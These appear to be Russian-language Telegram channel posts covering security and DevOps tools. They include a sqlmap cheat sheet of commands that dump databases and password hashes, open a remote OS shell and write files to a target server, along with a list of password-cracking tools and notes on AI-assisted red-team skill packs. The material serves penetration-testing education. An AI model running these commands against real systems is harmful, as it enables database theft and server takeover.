JWT Auth Bypass TestBed

Песочница для отработки атак на JWT-авторизацию.
→ http://403.brutelogic.net/authz/jwt

Внутри:

18 основных сценариев
дополнительные вариации для каждого кейса
реальные ошибки конфигурации и реализации JWT

Автор также анонсировал Brute One.
По его словам, инструмент включает более 40 техник для поиска подобных уязвимостей в реальных приложениях и позволяет проверять такие случаи за считанные секунды.
→ https://brutelogic.net/brute-one

👉 @cybersecinform

NVIDIA выпустила SkillSpector

Это инструмент с открытым исходным кодом для поиска уязвимостей в Agent Skills.
Помогает выявлять prompt injection-атаки, утечки данных, уязвимые зависимости, опасный код и другие проблемы безопасности.

→ http://github.com/nvidia/skillspector

👉 @cybersecinform

50 YAML-команд, которые стоит знать каждому DevOps-инженеру.

Удобная шпаргалка по Kubernetes, Docker, CI/CD и Infrastructure as Code.

👉 @cybersecinform

Шпаргалка по использованию sqlmap

SQLMAP — это инструмент для проникновения с открытым исходным кодом.

Он позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .

Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.

🟡Базовый скан URL на наличие уязвимостей:

sqlmap -u "http://example.com/page.php?id=1"

🟡Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs

🟡Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables

🟡Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump

🟡Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"

🟡Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user

🟡Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell

🟡Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"

🟡Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba

🟡Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords

🟡Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"

🟡Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns

🟡Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

🟡Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner

🟡Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"

👉 @cybersecinform

OSINT Earth — это передовая платформа, которая служит универсальным каталогом ресурсов для поиска публичных данных со всего мира.

https://osintearth.com/

👉 @cybersecinform

Claude Bug Hunter теперь просто BUG HUNTER.

Название поменяли, потому что инструмент давно перерос рамки Claude Code.
Теперь это отдельный open-source CLI, который запускается из любого терминала.

Поддерживает:
Ollama
Groq
DeepSeek
Claude
OpenAI
Grok

Заточен под bug bounty и исследователей безопасности.
Можно запускать локально через Ollama — платная подписка на ИИ не нужна.
Проект уже почти добрался до отметки в 2.5K звёзд на GitHub.
Установка занимает три команды:

git clone https://github.com/shuvonsec/claude-bug-bounty

cd claude-bug-bounty

./install.sh --agent standalone

Новые обновления обещают уже скоро.

👉 @cybersecinform

Лучший способ использовать Claude Fable в Claude Code и не убить лимиты за первые полчаса:

1. Ставишь модель на Fable 5
2. Reasoning — на Max
3. Просишь Claude запустить динамический workflow, где:

- Fable работает как оркестратор
- Opus забирает на себя тяжёлые reasoning-этапы

Нет смысла тратить интеллект Fable на каждый мелкий шаг. Пусть рулит процессом, а тяжёлую работу отдаёт Opus или даже Sonnet.

👉 @cybersecinform

Apple выпустила собственный нативный и официальный аналог Docker.

Он позволяет запускать Linux-контейнеры в лёгких виртуальных машинах на macOS.

✓ Совместим с OCI-образами из Docker Hub
✓ Оптимизирован для Apple Silicon
✓ Написан на Swift

→ https://github.com/apple/container

👉 @cybersecinform

4 MCP сервера, которые реально полезны DevOps-инженеру:

1. Kubernetes MCP
Разбор CrashLoopBackOff подов.
Дебаг падающих деплойментов.
Проверка состояния кластера.
GitHub repo

2. AWS MCP
Анализ скачков затрат в AWS.
Поиск неиспользуемых ресурсов.
Диагностика облачной инфраструктуры.
GitHub repo

3. Terraform MCP
Разбор terraform plan.
Поиск infrastructure drift.
Объяснение изменений инфраструктуры.
GitHub repo

4. Grafana + Prometheus MCP
Разбор latency spikes.
Анализ инцидентов в проде.
Разбор alert storm’ов.

Grafana MCP
Prometheus MCP

👉 @cybersecinform

Инструмент недели для DevOps: AirLLM

Чтобы запускать большие модели локально, не обязательно иметь мощную видеокарту.

AirLLM — это open-source инструмент, который позволяет запускать крупные LLM на одной GPU без необходимости загружать всю модель в VRAM целиком.

Он разбивает модель на слои и во время инференса загружает их по одному.

Как это работает

* Сначала AirLLM скачивает полную модель, разбивает её на отдельные слои и сохраняет их на диск.
* Когда приходит запрос, слои начинают поочерёдно загружаться в VRAM.
* Загружается первый слой, выполняются вычисления, затем память освобождается и загружается следующий слой.
* Процесс повторяется для всех слоёв, после чего модель возвращает ответ.

Благодаря такому подходу даже GPU с 4 ГБ видеопамяти может запускать модель размером 70B.

Старт здесь:
https://github.com/lyogavin/airllm

👉 @cybersecinform

10 лучших инструментов для взлома паролей.

—> Brutus — старый, но мощный инструмент перебора паролей по сети для разных протоколов.

—> RainbowCrack — использует радужные таблицы для мгновенного взлома хэшей.

—> WFuzz — фреймворк для фуззинга веб-приложений и подбора логинов/паролей.

—> Cain and Abel — комплексный инструмент для восстановления паролей на Windows.

—> John the Ripper — популярный инструмент для взлома паролей по хэшам.

—> THC Hydra — быстрый сетевой брутфорсер с поддержкой многих протоколов.

—> Medusa — многопоточный инструмент для перебора логинов по сети.

—> OphCrack — восстанавливает пароли Windows с помощью радужных таблиц.

—> L0phtCrack — анализирует и взламывает пароли Windows через хэши.

—> Aircrack-ng — взламывает Wi-Fi сети путём анализа и перебора ключей

👉 @cybersecinform

Как проиндексировать весь исходный код Linux Kernel (28 млн строк) для AI-агента всего за 3 минуты?
Нужно перестать заставлять агента читать файлы по одному.

Недавно вышел любопытный open-source проект — codebase-memory-mcp.
Это движок для анализа кода, который заменяет обычный поиск по файлам на высокоскоростной граф знаний, построенный на AST.

Самое интересное здесь — исследование, на котором основан проект.
Согласно результатам из статьи arXiv:2603.27277, где систему тестировали на 31 реальном репозитории, такой подход даёт:
→ снижение расхода токенов на структурные запросы на 99%
→ 83% качества ответов на сложных задачах
→ в 2,1 раза меньше вызовов инструментов

Система строит граф функций, классов, HTTP-маршрутов и связей между сервисами. Когда агенту нужен контекст, он запрашивает данные напрямую из графа, а не перебирает файлы.

Отдельный плюс — всё работает полностью локально.

Без Docker, Ollama и API-ключей.
Скачиваешь бинарник, перезапускаешь агента — и можно работать.
Интересно, насколько сильно такие индексы смогут сократить расходы на AI-разработку в ближайшие годы.

https://github.com/DeusData/codebase-memory-mcp

👉 @cybersecinform

Если ваши сессии с Claude по безопасности постоянно превращаются в огромные одноразовые промпты, этот репозиторий предлагает более удобный подход.

Claude-Red — это подборка SKILL.md-файлов для специалистов, которые используют Claude в авторизованных Red Team-активностях, Bug Bounty, исследованиях безопасности, CTF и учебных сценариях.
Вместо одного гигантского контекста Claude подгружает нужные методологии по требованию для конкретных типов задач и атак.

Что внутри:
• Формат Claude Skills — каждая методология оформлена как отдельный SKILL.md-файл.
• Широкий охват — 58 навыков в 13 категориях.
• Тестирование веб-приложений — SQLi, XSS, SSRF, SSTI, XXE, IDOR, RCE и другие классы уязвимостей.
• Готовые рабочие процессы — техники, инструменты, типичные кейсы, нестандартные ситуации и варианты развития атаки.
• Гибкая установка — можно клонировать весь набор, подтянуть отдельные категории через sparse-checkout, использовать с Claude Code или установить через install.sh.

Проект полностью открытый и распространяется по лицензии MIT.

https://github.com/SnailSploit/claude-red

👉 @cybersecinform